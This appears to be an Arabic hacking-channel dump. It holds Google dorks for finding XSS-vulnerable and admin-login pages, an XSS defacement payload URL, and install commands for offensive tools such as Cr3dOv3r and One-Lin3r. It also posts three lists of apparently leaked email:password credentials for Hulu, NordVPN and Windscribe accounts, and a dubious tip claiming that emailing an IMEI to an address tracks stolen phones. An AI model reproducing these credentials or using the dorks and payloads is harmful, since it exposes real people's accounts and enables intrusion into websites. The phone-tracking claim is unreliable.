دوركات Xss

inurl:".php?cmd="
inurl:".php?z="
inurl:".php?q="
inurl:".php?search="
inurl:".php?query="
inurl:".php?searchst­ring="
inurl:".php?keyword=­"
inurl:".php?file="
inurl:".php?years="
inurl:".php?txt="
inurl:".php?tag="
inurl:".php?max="
inurl:".php?from="
inurl:".php?author="
inurl:".php?pass="
inurl:".php?feedback­="
inurl:".php?mail="
inurl:".php?cat="
inurl:".php?vote="
inurl:search.php?q=
inurl:com_feedpostol­d/feedpost.php?url=
inurl:scrapbook.php?­id=
inurl:headersearch.p­hp?sid=
inurl:/poll/­default.asp?catid=
inurl:/­search_results.php?se­arch=


xp : http://host/php/index.php?lang=[XSS]
POP: http://host/php/index.php?lang=<center><h1>XSS BL4CKH4T G4N3$H GROUP</h1></center>

#CS

دوركات bypass

inurl:"/administrator/"
inurl:"/webadmin"
inurl:"/admincp/"
inurl:"/admin_"
inurl:/administrator/login.php
inurl:/admin/index.php intext:username
inurl:/administrator/login.php intext:username
inurl:/admin/main.php intext:username
inurl:/admin/login.html intext:login
inurl:/administrator/index.php intext:login
inurl:/adminweb/ intext:login.php




Inurl: /administrator/login.php
Inurl: /adminweb/ intext:login
Inurl: /admin/upload "catalog"

مجموعه ادوات مميزة راح نزلها بعد شوي ...

1 - اداة Clickjacking-Tester

هي اداة حلوة وبسيطه هي بتعمل ليك اسكان للموقع اذا كان مصاب بثغرة او لا
لمجموعه مواقع

اوامر التثبيت


$ apt update && apt upgrade

$ apt install git

$ apt install python2

$ apt install python

$ git clone https://github.com/D4Vinci/Clickjacking-Tester

$ cd Clickjacking-Tester

$ chmod +x *


$ python3 Clickjacking-Tester.py file.txt




ال file.txt هاذي للسته تحتوي مجموعه مواقع
بعدا راح يطلع ل output

#CS

2- اداة Cr3dOv3r


git clone https://github.com/D4Vinci/Cr3dOv3r.git

cd Cr3dOv3r

python3 -m pip install -r requirements.txt


python3 Cr3d0v3r.py -h

#ملحوظه استخدمو python او python3

مهمه الاداة تعمل فحص ل الاميل اذا كان مرتبط ب حسابات اخري او لا
مثلا اذا كان مرتبط ب facebook او تويتر و غيرها
وله العديد من المميزات الاخري

#CS

3- One-Lin3r اداة

git clone https://github.com/D4Vinci/One-Lin3r.git

apt install libncurses5-dev
pip3 install ./One-Lin3r
one-lin3r -h


تهتم ب استغلالات الويندوز و الماك و لينكس طريقه عملها اقرب ل الميتا

إكتفوها..

#CS

4- اداة Exbox



$pkg install git

$ pkg install curl

$ git clone https://github.com/Mr-XsZ/Exbox

$ cd Exbox

$ bash install.sh

مميزاتها بالصورة بالاسفل


#CS

حسابات مختلفه .....

🔰Hulu Premium🔰

allburn35n@gmail.com:codezer0
ryanscheppach@icloud.com:lamby123
cheeks4142525@aol.com:juggalo1
charlieweiler11@gmail.com:abigail1
d.willz22@yahoo.com:Carter11
baylee.macisaac@petalstudents.com:Woodrow23
kaltoth@gmail.com:iggy14
vietguy1994@gmail.com:J14l8853
petty.tariq@gmail.com:football99
slatermalik15@yahoo.com:basketball

🔰Nord vpn 🔰

nathanmalone.pnw@gmail.com:Mypasswordis12 | EXPIRATION = 2019-11-21 08:

collinterry@ymail.com:12345cmt | EXPIRATION = 2019-10-04 23:29:39 |

corywerschler@gmail.com:Cooltaboo1 | EXPIRATION = 2019-08-15 02:35:37 |

chrisdillon87@hotmail.com:Maxie123 | EXPIRATION = 2021-12-12 08:16:51 |

antoinelangevin999@gmail.com:poule12345 | EXPIRATION = 2019-09-29 15:34:33 |

jafesaho@gmail.com:C0rnwall | EXPIRATION = 2020-09-18 18:16:26 |

matte_thule16@hotmail.com:metrakit11 | EXPIRATION = 2019-09-26 17:46:51 |

alextaylor2309@gmail.com:Taylor123 | EXPIRATION = 2022-05-10 04:25:41 |

nschwitters@yahoo.com:nickrs11 | EXPIRATION = 2022-06-03 13:20:44 |

|
matthews7500@gmail.com:Nitro397 | EXPIRATION = 2019-08-12 02:35:09 |

joekiller62@gmail.com:kodok123 | EXPIRATION = 2019-01-07 08:17:05 |

شرح مهم جداااااا👇

كيفية تتبع الهاتف المفقود أو المسروق إذا فقدت هاتفك المحمول ، يمكنك تتبعه دون الذهاب إلى الشرطة. معظمنا يخشى دائمًا أن هواتفنا قد تُسرق في أي وقت. كل هاتف يحمل رقم IMEI فريدًا. بمعنى ، هوية المعدات المتنقلة الدولية لا ، والتي يمكن استخدامها لتتبعها في أي مكان في العالم. هذه هي الطريقة التي تعمل بها: 1. اطلب * # 06 # من هاتفك المحمول. 2. يعرض هاتفك المحمول 15 رقمًا فريدًا. 3. قم بتدوين هذا الرقم في مكان آمن باستثناء هاتفك المحمول نفسه لأن هذا هو الرقم الذي سيساعد في تتبع هاتفك في حالة السرقة.
4. بمجرد السرقة ، فقط أرسل رقم IMEI المكون من 15 رقمًا إلى cop@vsnl.net
مع التفاصيل كما هو موضح أدناه: اسمك: ____________

العنوان: ___________

طراز الهاتف: _________________ اصنع: _________________

آخر استخدام رقم: _________
البريد الإلكتروني للتواصل:
_________________
التاريخ الضائع: ___________
رقم IMEI: _______________

5. سيتم تعقب هاتفك خلال 24 ساعة القادمة عبر نظام معقد من GPRS والإنترنت ، وستجد المكان الذي يتم فيه تشغيل مجموعة يدك ورقم المستخدم الجديد سيكون إرسالها إلى البريد الإلكتروني الخاص بك.

6. بعد ذلك ، يمكنك إبلاغ الشرطة بالتفاصيل التي حصلت عليها. اسأل المشاكل

#CS

هي أفضل ادوات فحص واكتشاف ثغرات المواقع في كالي لينكس

بس كده يا بلدياتى 

1--أداة burpsuite
هي أداة يتم توظيفها في اختراق المواقع ، صممت بالجافا ، وتسمح بعمل البروكس قصد فحص وتعديل حركة المرور بين المتصفح و الهذف ، وعبرها أيضا يتم إرسال عناكب للمواقع ليتم تسجيل الثغرات التي تؤدي إلى الإختراق.
-----------------------------
2--أداة maltego
مبنية أيضا بلغة الجافا ، وتعتبر من أخطر الأدوات ، حيث تقوم بجمع المعلومات حول الناس ، من عناوين البريد الإلكتروني ، و أرقام الهواتف ، ثم إذا كان شخص ما ينتمي لمنظمة معينة أو شركات ...إلخ .
--------------------------------
3--أداة ********sploit
، وهي أداة كما يعلم الجميع مبرمجة بلغة Ruby ، وتتوفر على مجموعة من الأدوات و أكواد جاهزة لأختراق الأجهزة عن بعد بدون أن يستشعر الضحية بذلك ، بالتالي فهي من الأدوات التي يحبها الهاكرز كثيرا.
--------------------------------------
4-- أداة nmap
هي من الأدوات المعروفة أيضا ،وتعمل على فحص الأجهزة لمعرفة المنافذ المفتوحة لاستغلالها في الإختراق ، وتقوم أيضا الأداة بفحص الشبكات.
-----------------------------
5-- أداة john
كثيرا ما يفلح الهاكر في الوصول إلى كلمات المرور ، لكن يصطدم أحيانا في كونها مشفرة ، بالتالي هذه الأداة تساعد في فك هذا التشفير وإظهار كلمة السر كما هي عليه.
--------------------------------
6-- أداة wireshark
تعتبر من أخطر الأدوات التي تسمح للهاكرز الحصول على تحليلات عن شبكة معينة من خلال التصنت لها ، وعبر هذه التحليلات يمكن تنفيد الهجوم عليها .

عندي ادوات مميزة انزلهم
anonymous poll

الان – 25
👍👍👍👍👍👍👍 53%

بكره – 22
👍👍👍👍👍👍 47%

👥 47 people voted so far.

‏التفاؤل وقت الفشل ذكاء..
‏والثقة في النفس وقت اليأس قوة..
‏والإصرار برغم المعوقات نجاح بحد ذاتـه..
‏فكن دائمآ متفائل واثقآ في نفسك..⁦❤️⁩ - - 💙

🔰Windscribe VPN🔰

khusussurat@yahoo.com:Database88
danielvilhas@gmail.com:qnavryivyunf1
daniilklimencko@gmail.com:e6sUwbAAbqd
dima2004bereznev@gmail.com:Kniz1077
VictorStoquini@gmail.com:vi140103
mikedave16@gmail.com:forkfork1
pozeraczkotletow@gmail.com:qerewewq121q
derekczimmerman@gmail.com:ketchum124
dexter.sunday@gmail.com:DM120804
gabrielhalley15@gmail.com:123456ab